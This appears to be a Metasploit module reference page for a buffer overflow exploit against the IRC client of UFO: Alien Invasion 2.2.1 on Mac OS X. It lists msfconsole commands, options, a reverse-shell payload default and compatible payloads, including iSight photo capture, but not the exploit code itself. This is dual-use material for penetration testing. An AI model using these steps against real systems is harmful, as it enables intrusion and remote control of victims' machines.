UFO: Alien Invasion IRC Client Buffer Overflow - Metasploit

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Module Overview

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Name: UFO: Alien Invasion IRC Client Buffer Overflow
Module: exploit/osx/misc/ufo_ai
Source code: modules/exploits/osx/misc/ufo_ai.rb
Disclosure date: 2009-10-28
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module exploits a buffer overflow in the IRC client component of UFO: Alien Invasion 2.2.1.

Module Ranking and Traits

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Module Ranking:

• average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage

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msf > use exploit/osx/misc/ufo_ai
msf exploit(ufo_ai) > show targets
    ... a list of targets ...
msf exploit(ufo_ai) > set TARGET target-id
msf exploit(ufo_ai) > show options
    ... show and set options ...
msf exploit(ufo_ai) > exploit

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Msfconsole Usage

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Here is how the osx/misc/ufo_ai exploit module looks in the msfconsole:

msf6 > use exploit/osx/misc/ufo_ai

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/misc/ufo_ai) > show info

       Name: UFO: Alien Invasion IRC Client Buffer Overflow
     Module: exploit/osx/misc/ufo_ai
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2009-10-28

Provided by:
  Jason Geffner
  dookie

Available targets:
  Id  Name
  --  ----
  0   Mac OS X 10.5.8 x86, UFOAI 2.2.1

Check supported:
  No

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT  6667             yes       The IRC daemon port to listen on
  SSL      false            no        Negotiate SSL for incoming connections
  SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Payload information:
  Space: 400
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in the IRC client component 
  of UFO: Alien Invasion 2.2.1.

References:
  OSVDB (65689)
  https://www.exploit-db.com/exploits/14013

Module Options

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This is a complete list of options available in the osx/misc/ufo_ai exploit:

msf6 exploit(osx/misc/ufo_ai) > show options

Module options (exploit/osx/misc/ufo_ai):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  6667             yes       The IRC daemon port to listen on
   SSL      false            no        Negotiate SSL for incoming connections
   SSLCert                   no        Path to a custom SSL certificate (default is randomly generated)

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Mac OS X 10.5.8 x86, UFOAI 2.2.1

Advanced Options

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Here is a complete list of advanced options supported by the osx/misc/ufo_ai exploit:

msf6 exploit(osx/misc/ufo_ai) > show advanced

Module advanced options (exploit/osx/misc/ufo_ai):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

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Here is a list of targets (platforms and systems) which the osx/misc/ufo_ai module can exploit:

msf6 exploit(osx/misc/ufo_ai) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X 10.5.8 x86, UFOAI 2.2.1

Compatible Payloads

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This is a list of possible payloads which can be delivered and executed on the target system using the osx/misc/ufo_ai exploit:

msf6 exploit(osx/misc/ufo_ai) > show payloads

Compatible Payloads
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   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   payload/generic/custom                                     normal  No     Custom Payload
   1   payload/generic/debug_trap                                 normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                             normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                          normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                 normal  No     Generic x86 Tight Loop
   5   payload/osx/x86/bundleinject/bind_tcp                      normal  No     Mac OS X Inject Mach-O Bundle, Bind TCP Stager
   6   payload/osx/x86/bundleinject/reverse_tcp                   normal  No     Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
   7   payload/osx/x86/exec                                       normal  No     OS X Execute Command
   8   payload/osx/x86/isight/bind_tcp                            normal  No     Mac OS X x86 iSight Photo Capture, Bind TCP Stager
   9   payload/osx/x86/isight/reverse_tcp                         normal  No     Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
   10  payload/osx/x86/shell_bind_tcp                             normal  No     OS X Command Shell, Bind TCP Inline
   11  payload/osx/x86/shell_reverse_tcp                          normal  No     OS X Command Shell, Reverse TCP Inline
   12  payload/osx/x86/vforkshell/bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Stager
   13  payload/osx/x86/vforkshell/reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Stager
   14  payload/osx/x86/vforkshell_bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Inline
   15  payload/osx/x86/vforkshell_reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Inline

Evasion Options

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Here is the full list of possible evasion options supported by the osx/misc/ufo_ai exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/misc/ufo_ai) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #2525 Merged Pull Request: Change module boilerplate
• #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
• #958 Merged Pull Request: Msftidy 2
• #259 Merged Pull Request: Convert Exploit-DB references to first-tier "EDB-12345" references

References

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• CVE: Not available
• OSVDB (65689)
• EDB-14013

See Also

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Check also the following modules related to this module:

• exploit/linux/http/ueb_api_rce
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• auxiliary/admin/http/manageengine_pmp_privesc
• auxiliary/admin/http/wp_automatic_plugin_privesc
• auxiliary/admin/http/wp_gdpr_compliance_privesc
• auxiliary/admin/oracle/oracle_index_privesc
• exploit/linux/ssh/vyos_restricted_shell_privesc
• exploit/openbsd/local/dynamic_loader_chpass_privesc
• exploit/unix/ssh/array_vxag_vapv_privkey_privesc
• exploit/unix/webapp/openemr_sqli_privesc_upload
• exploit/windows/local/appxsvc_hard_link_privesc
• exploit/windows/local/canon_driver_privesc
• exploit/windows/local/gog_galaxyclientservice_privesc
• exploit/windows/local/lexmark_driver_privesc
• exploit/windows/local/microfocus_operations_privesc
• exploit/windows/local/ms16_032_secondary_logon_handle_privesc
• exploit/windows/local/ms18_8120_win32k_privesc
• exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
• exploit/windows/local/ricoh_driver_privesc
• payload/cmd/mainframe/apf_privesc_jcl
• exploit/linux/local/ufo_privilege_escalation
• exploit/windows/misc/ufo_ai
• exploit/osx/email/mailapp_image_exec

Authors

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• Jason Geffner
• dookie

Version

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This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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